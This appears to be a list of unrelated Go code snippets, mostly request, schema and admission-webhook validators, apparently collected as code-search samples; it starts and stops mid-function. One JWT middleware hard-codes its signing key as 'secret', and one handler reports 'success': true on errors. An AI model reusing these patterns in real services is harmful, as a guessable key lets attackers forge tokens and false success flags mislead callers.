{\n\t\tstrings.Replace(swagger.Info.Title, \" \", \"\", -1)\n\t}\n\n\tbasePath, err := buildStructure(swagger, newmd5)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to build base structure: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed building baseline structure\"}`))\n\t\treturn\n\t}\n\n\tlog.Printf(\"Should generate yaml\")\n\tapi, pythonfunctions, err := generateYaml(swagger, newmd5)\n\tif err != nil {\n\t\tlog.Printf(\"Failed building and generating yaml: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed building and parsing yaml\"}`))\n\t\treturn\n\t}\n\n\tapi.Owner = user.Id\n\tif len(test.Image) > 0 {\n\t\tapi.SmallImage = test.Image\n\t\tapi.LargeImage = test.Image\n\t}\n\n\terr = dumpApi(basePath, api)\n\tif err != nil {\n\t\tlog.Printf(\"Failed dumping yaml: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed dumping yaml\"}`))\n\t\treturn\n\t}\n\n\tidentifier := fmt.Sprintf(\"%s-%s\", swagger.Info.Title, newmd5)\n\tclassname := strings.Replace(identifier, \" \", \"\", -1)\n\tclassname = strings.Replace(classname, \"-\", \"\", -1)\n\tparsedCode, err := dumpPython(basePath, classname, swagger.Info.Version, pythonfunctions)\n\tif err != nil {\n\t\tlog.Printf(\"Failed dumping python: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed dumping appcode\"}`))\n\t\treturn\n\t}\n\n\tidentifier = strings.Replace(identifier, \" \", \"-\", -1)\n\tidentifier = strings.Replace(identifier, \"_\", \"-\", -1)\n\tlog.Printf(\"Successfully uploaded %s to bucket. Proceeding to cloud function\", identifier)\n\n\t// Now that the baseline is setup, we need to make it into a cloud function\n\t// 1. Upload the API to datastore for use\n\t// 2. Get code from baseline/app_base.py & baseline/static_baseline.py\n\t// 3. Stitch code together from these two + our new app\n\t// 4. Zip the folder to cloud storage\n\t// 5. Upload as cloud function\n\n\t// 1. Upload the API to datastore\n\terr = deployAppToDatastore(ctx, api)\n\tif err != nil {\n\t\tlog.Printf(\"Failed adding app to db: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed adding app to db\"}`))\n\t\treturn\n\t}\n\n\t// 2. Get all the required code\n\tappbase, staticBaseline, err := getAppbase()\n\tif err != nil {\n\t\tlog.Printf(\"Failed getting appbase: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed getting appbase code\"}`))\n\t\treturn\n\t}\n\n\t// Have to do some quick checks of the python code (:\n\t_, parsedCode = formatAppfile(parsedCode)\n\n\tfixedAppbase := fixAppbase(appbase)\n\trunner := getRunner(classname)\n\n\t// 2. Put it together\n\tstitched := string(staticBaseline) + strings.Join(fixedAppbase, \"\\n\") + parsedCode + string(runner)\n\t//log.Println(stitched)\n\n\t// 3. Zip and stream it directly in the directory\n\t_, err = streamZipdata(ctx, identifier, stitched, \"requests\\nurllib3\")\n\tif err != nil {\n\t\tlog.Printf(\"Zipfile error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed to build zipfile\"}`))\n\t\treturn\n\t}\n\n\tlog.Printf(\"Successfully uploaded ZIPFILE for %s\", identifier)\n\n\t// 4. Upload as cloud function - this apikey is specifically for cloud functions rofl\n\t//environmentVariables := map[string]string{\n\t//\t\"FUNCTION_APIKEY\": apikey,\n\t//}\n\n\t//fullLocation := fmt.Sprintf(\"gs://%s/%s\", bucketName, applocation)\n\t//err = deployCloudFunctionPython(ctx, identifier, defaultLocation, fullLocation, environmentVariables)\n\t//if err != nil {\n\t//\tlog.Printf(\"Error uploading cloud function: %s\", err)\n\t//\tresp.WriteHeader(500)\n\t//\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed to upload function\"}`))\n\t//\treturn\n\t//}\n\n\t// 4. Build the image locally.\n\t// FIXME: Should be moved to a local docker registry\n\tdockerLocation := fmt.Sprintf(\"%s/Dockerfile\", basePath)\n\tlog.Printf(\"Dockerfile: %s\", dockerLocation)\n\n\tversionName := fmt.Sprintf(\"%s_%s\", strings.ReplaceAll(api.Name, \" \", \"-\"), api.AppVersion)\n\tdockerTags := []string{\n\t\tfmt.Sprintf(\"%s:%s\", baseDockerName, identifier),\n\t\tfmt.Sprintf(\"%s:%s\", baseDockerName, versionName),\n\t}\n\n\terr = buildImage(dockerTags, dockerLocation)\n\tif err != nil {\n\t\tlog.Printf(\"Docker build error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(fmt.Sprintf(`{\"success\": true, \"reason\": \"Error in Docker build\"}`)))\n\t\treturn\n\t}\n\n\tfound := false\n\tfoundNumber := 0\n\tlog.Printf(\"Checking for api with ID %s\", newmd5)\n\tfor appCounter, app := range user.PrivateApps {\n\t\tif app.ID == api.ID {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t} else if app.Name == api.Name && app.AppVersion == api.AppVersion {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t} else if app.PrivateID == test.Id && test.Editing {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Updating the user with the new app so that it can easily be retrieved\n\tif !found {\n\t\tuser.PrivateApps = append(user.PrivateApps, api)\n\t} else {\n\t\tuser.PrivateApps[foundNumber] = api\n\t}\n\n\terr = setUser(ctx, &user)\n\tif err != nil {\n\t\tlog.Printf(\"Failed adding verification for user %s: %s\", user.Username, err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(fmt.Sprintf(`{\"success\": true, \"reason\": \"Failed updating user\"}`)))\n\t\treturn\n\t}\n\n\tlog.Println(len(user.PrivateApps))\n\tc, err := request.Cookie(\"session_token\")\n\tif err == nil {\n\t\tlog.Printf(\"Should've deleted cache for %s with token %s\", user.Username, c.Value)\n\t\t//err = memcache.Delete(request.Context(), c.Value)\n\t\t//err = memcache.Delete(request.Context(), user.ApiKey)\n\t}\n\n\tparsed := ParsedOpenApi{\n\t\tID: api.ID,\n\t\tBody: string(body),\n\t}\n\n\tsetOpenApiDatastore(ctx, api.ID, parsed)\n\terr = increaseStatisticsField(ctx, \"total_apps_created\", api.ID, 1)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to increase success execution stats: %s\", err)\n\t}\n\n\terr = increaseStatisticsField(ctx, \"openapi_apps_created\", api.ID, 1)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to increase success execution stats: %s\", err)\n\t}\n\n\tresp.WriteHeader(200)\n\tresp.Write([]byte(`{\"success\": true}`))\n}", "func AddValidation(srv service.Service) error {\n\tvalidator := Validate(parser.Parse)\n\n\tsrv.Register(endpoint.NewValidation(\"v1/validate\", validator))\n\treturn nil\n}", "func OapiValidatorFromYamlFile(path string) (fiber.Handler, error) {\n\n\tdata, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading %s: %s\", path, err)\n\t}\n\n\tswagger, err := openapi3.NewLoader().LoadFromData(data)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing %s as Swagger YAML: %s\",\n\t\t\tpath, err)\n\t}\n\n\treturn OapiRequestValidator(swagger), nil\n}", "func (s *SwaggerSchema) Validate(obj *unstructured.Unstructured) []error {\n\tif obj.IsList() {\n\t\treturn s.validateList(obj.UnstructuredContent())\n\t}\n\tgvk := obj.GroupVersionKind()\n\treturn s.ValidateObject(obj.UnstructuredContent(), \"\", fmt.Sprintf(\"%s.%s\", gvk.Version, gvk.Kind))\n}", "func ValidationMiddleware() func(Service) Service {\n\treturn func(next Service) Service {\n\t\treturn &validationMiddleware{\n\t\t\tService: next,\n\t\t}\n\t}\n}", "func TestValidate1(t *testing.T) {\n\tendpoints := make(map[string]map[string]*Endpoint)\n\tendpoints[\"/test\"] = map[string]*Endpoint{\n\t\t\"get\": {\n\t\t\tParams: &Parameters{\n\t\t\t\tQuery: map[string]*ParamEntry{\"test\": {Type: \"string\", Required: true}},\n\t\t\t\tPath: map[string]*ParamEntry{\"test\": {Type: \"boolean\", Required: true}},\n\t\t\t},\n\t\t\tRecieves: &Recieves{\n\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\tBody: map[string]string{\"example_array.0.foo\": \"string\"},\n\t\t\t},\n\t\t\tResponses: map[int]*Response{\n\t\t\t\t200: {\n\t\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\t\tBody: map[string]interface{}{\"bar\": \"foo\"},\n\t\t\t\t\tWeight: 100,\n\t\t\t\t\tActions: []map[string]interface{}{\n\t\t\t\t\t\t{\"delay\": 10},\n\t\t\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tActions: []map[string]interface{}{\n\t\t\t\t{\"delay\": 10},\n\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Config{\n\t\tVersion: 1.0,\n\t\tServices: map[string]*Service{\n\t\t\t\"testService\": {Hostname: \"localhost\", Port: 8080},\n\t\t},\n\t\tStartupActions: []map[string]interface{}{\n\t\t\t{\"delay\": 10},\n\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t},\n\t\tRequests: map[string]*Request{\n\t\t\t\"testRequest\": {\n\t\t\t\tURL: \"/test\",\n\t\t\t\tProtocol: \"http\",\n\t\t\t\tMethod: \"get\",\n\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\tBody: nil,\n\t\t\t\tExpectedResponse: &Response{\n\t\t\t\t\tStatusCode: 200,\n\t\t\t\t\tBody: map[string]interface{}{\"foo.bar\": \"string\"},\n\t\t\t\t\tHeaders: nil,\n\t\t\t\t\tWeight: 100,\n\t\t\t\t\tActions: []map[string]interface{}{\n\t\t\t\t\t\t{\"delay\": 10},\n\t\t\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tEndpoints: endpoints,\n\t}\n\n\tif err := Validate(cfg); err != nil {\n\t\tt.Errorf(\"Validation Failed: %s\", err.Error())\n\t}\n}", "func (mt *Vironapi) Validate() (err error) {\n\tif mt.Method == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"method\"))\n\t}\n\tif mt.Path == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"path\"))\n\t}\n\treturn\n}", "func (s *Schema) validate(doc schema.JSONLoader) error {\n\tif s == nil || s.schema == nil {\n\t\treturn nil\n\t}\n\n\tdocErr, jsonErr := s.schema.Validate(doc)\n\tif jsonErr != nil {\n\t\treturn errors.Wrap(jsonErr, \"failed to load JSON data for validation\")\n\t}\n\tif docErr.Valid() {\n\t\treturn nil\n\t}\n\n\treturn &Error{Result: docErr}\n}", "func ValidateMiddleware(next http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tauthorizationHeader := req.Header.Get(\"authorization\")\n\t\tif authorizationHeader != \"\" {\n\t\t\tbearerToken := strings.Split(authorizationHeader, \" \")\n\t\t\tif len(bearerToken) == 2 {\n\t\t\t\ttoken, error := jwt.Parse(bearerToken[1], func(token *jwt.Token) (interface{}, error) {\n\t\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"There was an error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn []byte(\"secret\"), nil\n\t\t\t\t})\n\t\t\t\tif error != nil {\n\t\t\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: error.Error()})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif token.Valid {\n\t\t\t\t\tcontext.Set(req, \"decoded\", token.Claims)\n\n\t\t\t\t\tnext(w, req)\n\t\t\t\t} else {\n\t\t\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: \"Invalid authorization token\"})\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: \"An authorization header is required\"})\n\t\t}\n\t})\n}", "func validateLesson(lesson *models.Lesson) error {\n\n\tfile := lesson.LessonFile\n\n\t// Most of the validation heavy lifting should be done via JSON schema as much as possible.\n\t// This should be run first, and then only checks that can't be done with JSONschema will follow.\n\tif !lesson.JSValidate() {\n\t\tlog.Errorf(\"Basic schema validation failed on %s - see log for errors.\", file)\n\t\treturn errBasicValidation\n\t}\n\n\tseenEndpoints := map[string]string{}\n\tfor n := range lesson.Endpoints {\n\t\tep := lesson.Endpoints[n]\n\t\tif _, ok := seenEndpoints[ep.Name]; ok {\n\t\t\tlog.Errorf(\"Failed to import %s: - Endpoint %s appears more than once\", file, ep.Name)\n\t\t\treturn errDuplicateEndpoint\n\t\t}\n\t\tseenEndpoints[ep.Name] = ep.Name\n\t}\n\n\t// Endpoint-specific checks\n\tfor i := range lesson.Endpoints {\n\t\tep := lesson.Endpoints[i]\n\n\t\t// TODO(mierdin): Check to ensure the referenced image has been imported. This will require DB access\n\t\t// from this function.\n\n\t\t// Must EITHER provide additionalPorts, or Presentations. Endpoints without either are invalid.\n\t\tif len(ep.Presentations) == 0 && len(ep.AdditionalPorts) == 0 {\n\t\t\tlog.Error(\"No presentations configured, and no additionalPorts specified\")\n\t\t\treturn errInsufficientPresentation\n\t\t}\n\n\t\t// Perform configuration-related checks, if relevant\n\t\tif ep.ConfigurationType != \"\" {\n\n\t\t\t// Regular expressions for matching recognized config files by type\n\t\t\tfileMap := map[string]string{\n\t\t\t\t\"python\": fmt.Sprintf(`.*%s\\.py`, ep.Name),\n\t\t\t\t\"ansible\": fmt.Sprintf(`.*%s\\.yml`, ep.Name),\n\t\t\t\t\"napalm\": fmt.Sprintf(`.*%s-(junos|eos|iosxr|nxos|nxos_ssh|ios)\\.txt$`, ep.Name),\n\t\t\t}\n\n\t\t\tfor s := range lesson.Stages {\n\n\t\t\t\tconfigDir := fmt.Sprintf(\"%s/stage%d/configs/\", filepath.Dir(file), s)\n\t\t\t\tconfigFile := \"\"\n\t\t\t\terr := filepath.Walk(configDir, func(path string, info os.FileInfo, err error) error {\n\t\t\t\t\tvar validID = regexp.MustCompile(fileMap[ep.ConfigurationType])\n\t\t\t\t\tif validID.MatchString(path) {\n\t\t\t\t\t\tconfigFile = filepath.Base(path)\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error(err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif configFile == \"\" || configFile == \".\" {\n\t\t\t\t\tlog.Errorf(\"Configuration file for endpoint '%s' was not found.\", ep.Name)\n\t\t\t\t\treturn errMissingConfigurationFile\n\t\t\t\t}\n\n\t\t\t\tlesson.Endpoints[i].ConfigurationFile = configFile\n\t\t\t}\n\t\t}\n\n\t\t// Ensure each presentation name is unique for each endpoint\n\t\tseenPresentations := map[string]string{}\n\t\tfor n := range ep.Presentations {\n\t\t\tif _, ok := seenPresentations[ep.Presentations[n].Name]; ok {\n\t\t\t\tlog.Errorf(\"Failed to import %s: - Presentation %s appears more than once for an endpoint\", file, ep.Presentations[n].Name)\n\t\t\t\treturn errDuplicatePresentation\n\t\t\t}\n\t\t\tseenPresentations[ep.Presentations[n].Name] = ep.Presentations[n].Name\n\t\t}\n\t}\n\n\t// Ensure all connections are referring to endpoints that are actually present in the definition\n\tfor c := range lesson.Connections {\n\t\tconnection := lesson.Connections[c]\n\n\t\tif !entityInLabDef(connection.A, lesson) {\n\t\t\tlog.Errorf(\"Failed to import %s: - Connection %s refers to nonexistent entity\", file, connection.A)\n\t\t\treturn errBadConnection\n\t\t}\n\n\t\tif !entityInLabDef(connection.B, lesson) {\n\t\t\tlog.Errorf(\"Failed to import %s: - Connection %s refers to nonexistent entity\", file, connection.B)\n\t\t\treturn errBadConnection\n\t\t}\n\t}\n\n\t// Iterate over stages, and retrieve lesson guide content\n\tfor l := range lesson.Stages {\n\t\ts := lesson.Stages[l]\n\n\t\tguideFileMap := map[string]string{\n\t\t\t\"markdown\": \".md\",\n\t\t\t\"jupyter\": \".ipynb\",\n\t\t}\n\n\t\tfileName := fmt.Sprintf(\"%s/stage%d/guide%s\", filepath.Dir(file), l, guideFileMap[string(s.GuideType)])\n\t\tcontents, err := ioutil.ReadFile(fileName)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Encountered problem reading lesson guide: %s\", err)\n\t\t\treturn errMissingLessonGuide\n\t\t}\n\t\tlesson.Stages[l].GuideContents = string(contents)\n\t}\n\n\treturn nil\n}", "func (v *ValidatingAdmission) Handle(ctx context.Context, req admission.Request) admission.Response {\n\tconfiguration := &configv1alpha1.ResourceExploringWebhookConfiguration{}\n\n\terr := v.decoder.Decode(req, configuration)\n\tif err != nil {\n\t\treturn admission.Errored(http.StatusBadRequest, err)\n\t}\n\tklog.V(2).Infof(\"Validating ResourceExploringWebhookConfiguration(%s) for request: %s\", configuration.Name, req.Operation)\n\n\tvar allErrors field.ErrorList\n\thookNames := sets.NewString()\n\tfor i, hook := range configuration.Webhooks {\n\t\tallErrors = append(allErrors, validateWebhook(&configuration.Webhooks[i], field.NewPath(\"webhooks\").Index(i))...)\n\t\tif hookNames.Has(hook.Name) {\n\t\t\tallErrors = append(allErrors, field.Duplicate(field.NewPath(\"webhooks\").Index(i).Child(\"name\"), hook.Name))\n\t\t\tcontinue\n\t\t}\n\t\thookNames.Insert(hook.Name)\n\t}\n\n\tif len(allErrors) != 0 {\n\t\tklog.Error(allErrors.ToAggregate())\n\t\treturn admission.Denied(allErrors.ToAggregate().Error())\n\t}\n\n\treturn admission.Allowed(\"\")\n}", "func (r *RouteSpec) Validate(ctx context.Context) (errs *apis.FieldError) {\n\tif r.AppName == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"appName\"))\n\t}\n\n\treturn errs.Also(r.RouteSpecFields.Validate(ctx).ViaField(\"routeSpecFields\"))\n}", "func TestCmd_Validate_Issue1171(t *testing.T) {\n\tlog.SetOutput(io.Discard)\n\tdefer log.SetOutput(os.Stdout)\n\tv := ValidateSpec{}\n\tbase := filepath.FromSlash(\"../../../\")\n\tspecDoc := filepath.Join(base, \"fixtures\", \"bugs\", \"1171\", \"swagger.yaml\")\n\tresult := v.Execute([]string{specDoc})\n\tassert.Error(t, result)\n}", "func AnalyzeSwagger(document *loads.Document, filter string, ignoreResourceVersion bool) (*stats.Coverage, error) {\n\tcoverage := stats.Coverage{\n\t\tEndpoints: make(map[string]map[string]*stats.Endpoint),\n\t}\n\n\tfor _, mp := range document.Analyzer.OperationMethodPaths() {\n\t\tv := strings.Split(mp, \" \")\n\t\tif len(v) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"Invalid method:path pair '%s'\", mp)\n\t\t}\n\t\tmethod, path := strings.ToLower(v[0]), strings.ToLower(v[1])\n\t\tparams := document.Analyzer.ParamsFor(method, path)\n\n\t\t// adjust name and namespace to simple format instead of copying regex from the swagger\n\t\tre := regexp.MustCompile(`{(namespace|name):\\[a-z0-9\\]\\[a-z0-9\\\\-\\]\\*}`)\n\t\tpath = re.ReplaceAllString(path, \"{$1}\")\n\n\t\tif ignoreResourceVersion {\n\t\t\ts := strings.Split(path, \"/\")\n\t\t\tif len(s) >= 4 && s[3] != \"\" {\n\t\t\t\ts[3] = \"*\"\n\t\t\t}\n\t\t\tpath = strings.Join(s, \"/\")\n\t\t}\n\n\t\t// filter requests uri\n\t\tif !strings.HasPrefix(path, filter) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := coverage.Endpoints[path]; !ok {\n\t\t\tcoverage.Endpoints[path] = make(map[string]*stats.Endpoint)\n\t\t}\n\n\t\tif _, ok := coverage.Endpoints[path][method]; !ok {\n\t\t\tcoverage.Endpoints[path][method] = &stats.Endpoint{\n\t\t\t\tParams: stats.Params{\n\t\t\t\t\tQuery: stats.NewTrie(),\n\t\t\t\t\tBody: stats.NewTrie(),\n\t\t\t\t},\n\t\t\t\tPath: path,\n\t\t\t\tMethod: method,\n\t\t\t\tExpectedUniqueHits: 1, // count endpoint calls\n\t\t\t}\n\t\t\tcoverage.ExpectedUniqueHits++\n\t\t}\n\n\t\taddSwaggerParams(coverage.Endpoints[path][method], params, document.Spec().Definitions)\n\t}\n\n\t// caclulate number of expected unique hits\n\tfor path, method := range coverage.Endpoints {\n\t\tfor name, endpoint := range method {\n\t\t\texpectedUniqueHits := endpoint.Params.Body.ExpectedUniqueHits + endpoint.Params.Query.ExpectedUniqueHits\n\t\t\tcoverage.ExpectedUniqueHits += expectedUniqueHits\n\t\t\tcoverage.Endpoints[path][name].ExpectedUniqueHits += expectedUniqueHits\n\t\t}\n\t}\n\n\treturn &coverage, nil\n}", "func (o *DocumentUpdateNotFoundBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error404Data\n\tif err := o.Error404Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func validateSchema(report Report, json []byte, schemaConfig SchemaConfig) Report {\n\tv, err := validator.New(schemaConfig.Locations, schemaConfig.ValidatorOpts)\n\tif err != nil {\n\t\treport.Message += fmt.Sprintf(\"failed initializing validator: %s\", err)\n\t\treturn report\n\t}\n\n\tf := io.NopCloser(bytes.NewReader(json))\n\tfor _, res := range v.Validate(report.FileName, f) {\n\t\t// A file might contain multiple resources\n\t\t// File starts with ---, the parser assumes a first empty resource\n\t\tif res.Status == validator.Invalid {\n\t\t\treport.Message += res.Err.Error() + \"\\n\"\n\t\t}\n\t\tif res.Status == validator.Error {\n\t\t\treport.Message += res.Err.Error()\n\t\t}\n\t}\n\n\treturn report\n}", "func (v *Validator) Handle(ctx context.Context, req types.Request) types.Response {\n\tboshDeployment := &bdv1.BOSHDeployment{}\n\n\terr := v.decoder.Decode(req, boshDeployment)\n\tif err != nil {\n\t\treturn types.Response{}\n\t}\n\n\tlog.Debug(ctx, \"Resolving manifest\")\n\tresolver := bdm.NewResolver(v.client, func() bdm.Interpolator { return bdm.NewInterpolator() })\n\n\tfor _, opsItem := range boshDeployment.Spec.Ops {\n\t\tresourceExist, msg := v.OpsResourceExist(ctx, opsItem, boshDeployment.Namespace)\n\t\tif !resourceExist {\n\t\t\treturn types.Response{\n\t\t\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\t\t\tAllowed: false,\n\t\t\t\t\tResult: &metav1.Status{\n\t\t\t\t\t\tMessage: msg,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t}\n\n\t_, err = resolver.WithOpsManifest(boshDeployment, boshDeployment.GetNamespace())\n\tif err != nil {\n\t\treturn types.Response{\n\t\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\t\tAllowed: false,\n\t\t\t\tResult: &metav1.Status{\n\t\t\t\t\tMessage: fmt.Sprintf(\"Failed to resolve manifest: %s\", err.Error()),\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\treturn types.Response{\n\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\tAllowed: true,\n\t\t},\n\t}\n}", "func (r *ListFilesRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif strings.HasSuffix(r.GetCommittish(), \"/\") {\n\t\treturn errors.New(\"committish must not end with /\")\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}", "func (s *Server) validate() grpc.UnaryServerInterceptor {\n\treturn func(ctx context.Context, req interface{}, args *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) {\n\t\tif err = validate.Struct(req); err != nil {\n\t\t\terr = ecode.Error(ecode.RequestErr, err.Error())\n\t\t\treturn\n\t\t}\n\t\tresp, err = handler(ctx, req)\n\t\treturn\n\t}\n}", "func (h *Handler) Validate() error {\n\treturn nil\n}", "func (o *WeaviateAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\tif o.YamlConsumer == nil {\n\t\tunregistered = append(unregistered, \"YamlConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.OidcAuth == nil {\n\t\tunregistered = append(unregistered, \"OidcAuth\")\n\t}\n\n\tif o.WellKnownGetWellKnownOpenidConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, \"well_known.GetWellKnownOpenidConfigurationHandler\")\n\t}\n\tif o.BackupsBackupsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsCreateHandler\")\n\t}\n\tif o.BackupsBackupsCreateStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsCreateStatusHandler\")\n\t}\n\tif o.BackupsBackupsRestoreHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsRestoreHandler\")\n\t}\n\tif o.BackupsBackupsRestoreStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsRestoreStatusHandler\")\n\t}\n\tif o.BatchBatchObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchObjectsCreateHandler\")\n\t}\n\tif o.BatchBatchObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchObjectsDeleteHandler\")\n\t}\n\tif o.BatchBatchReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchReferencesCreateHandler\")\n\t}\n\tif o.ClassificationsClassificationsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"classifications.ClassificationsGetHandler\")\n\t}\n\tif o.ClassificationsClassificationsPostHandler == nil {\n\t\tunregistered = append(unregistered, \"classifications.ClassificationsPostHandler\")\n\t}\n\tif o.GraphqlGraphqlBatchHandler == nil {\n\t\tunregistered = append(unregistered, \"graphql.GraphqlBatchHandler\")\n\t}\n\tif o.GraphqlGraphqlPostHandler == nil {\n\t\tunregistered = append(unregistered, \"graphql.GraphqlPostHandler\")\n\t}\n\tif o.MetaMetaGetHandler == nil {\n\t\tunregistered = append(unregistered, \"meta.MetaGetHandler\")\n\t}\n\tif o.NodesNodesGetHandler == nil {\n\t\tunregistered = append(unregistered, \"nodes.NodesGetHandler\")\n\t}\n\tif o.NodesNodesGetClassHandler == nil {\n\t\tunregistered = append(unregistered, \"nodes.NodesGetClassHandler\")\n\t}\n\tif o.ObjectsObjectsClassDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsClassGetHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassGetHandler\")\n\t}\n\tif o.ObjectsObjectsClassHeadHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassHeadHandler\")\n\t}\n\tif o.ObjectsObjectsClassPatchHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassPatchHandler\")\n\t}\n\tif o.ObjectsObjectsClassPutHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassPutHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesCreateHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesPutHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesPutHandler\")\n\t}\n\tif o.ObjectsObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsCreateHandler\")\n\t}\n\tif o.ObjectsObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsGetHandler\")\n\t}\n\tif o.ObjectsObjectsHeadHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsHeadHandler\")\n\t}\n\tif o.ObjectsObjectsListHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsListHandler\")\n\t}\n\tif o.ObjectsObjectsPatchHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsPatchHandler\")\n\t}\n\tif o.ObjectsObjectsReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesCreateHandler\")\n\t}\n\tif o.ObjectsObjectsReferencesDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesDeleteHandler\")\n\t}\n\tif 